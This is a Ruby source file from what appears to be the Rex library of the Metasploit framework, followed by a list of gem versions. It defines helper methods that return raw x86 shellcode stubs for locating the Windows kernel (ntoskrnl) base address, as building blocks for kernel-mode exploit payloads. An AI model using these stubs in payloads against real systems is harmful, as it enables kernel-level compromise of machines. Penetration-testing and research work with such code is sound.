Contents

module Rex
module Payloads
module Win32
module Kernel

require 'rex/payloads/win32/common'

#
# This class provides common methods that may be shared across more than
# one kernel-mode payload.  Many of these are from the following paper:
#
# http://www.uninformed.org/?v=3&a=4&t=sumry
#
module Common

	#
	# Returns a stub that will find the base address of ntoskrnl and
	# place it in eax.  This method works by using an IDT entry.  Credit
	# to eEye.
	#
	def self.find_nt_idt_eeye
		"\x8b\x35\x38\xf0\xdf\xff\xad\xad\x48\x81\x38\x4d\x5a\x90\x00\x75\xf7"
	end

	#
	# Returns a stub that will find the base address of ntoskrnl and 
	# place it in eax.  This method uses a pointer found in KdVersionBlock.
	#
	def self.find_nt_kdversionblock
		"\x31\xc0\x64\x8b\x40\x34\x8b\x40\x10"
	end

	#
	# Returns a stub that will find the base address of ntoskrnl and 
	# place it in eax.  This method uses a pointer found in the
	# processor control region as a starting point.
	#
	def self.find_nt_pcr
		"\xa1\x2c\xf1\xdf\xff\x66\x25\x01\xf0\x48\x66\x81\x38\x4d\x5a\x75\xf4"
	end

	#
	# Alias for resolving symbols.
	#
	def self.resolve_call_sym
		Rex::Payloads::Win32::Common.resolve_call_sym
	end

end

end
end
end
end

Version data entries

43 entries across 43 versions & 1 rubygems

Version	Path
librex-0.0.65	lib/rex/payloads/win32/kernel/common.rb
librex-0.0.63	lib/rex/payloads/win32/kernel/common.rb
librex-0.0.54	lib/rex/payloads/win32/kernel/common.rb
librex-0.0.53	lib/rex/payloads/win32/kernel/common.rb
librex-0.0.52	lib/rex/payloads/win32/kernel/common.rb
librex-0.0.51	lib/rex/payloads/win32/kernel/common.rb
librex-0.0.50	lib/rex/payloads/win32/kernel/common.rb
librex-0.0.49	lib/rex/payloads/win32/kernel/common.rb
librex-0.0.48	lib/rex/payloads/win32/kernel/common.rb
librex-0.0.47	lib/rex/payloads/win32/kernel/common.rb
librex-0.0.46	lib/rex/payloads/win32/kernel/common.rb
librex-0.0.44	lib/rex/payloads/win32/kernel/common.rb
librex-0.0.43	lib/rex/payloads/win32/kernel/common.rb
librex-0.0.42	lib/rex/payloads/win32/kernel/common.rb
librex-0.0.41	lib/rex/payloads/win32/kernel/common.rb
librex-0.0.40	lib/rex/payloads/win32/kernel/common.rb
librex-0.0.39	lib/rex/payloads/win32/kernel/common.rb
librex-0.0.38	lib/rex/payloads/win32/kernel/common.rb
librex-0.0.37	lib/rex/payloads/win32/kernel/common.rb
librex-0.0.36	lib/rex/payloads/win32/kernel/common.rb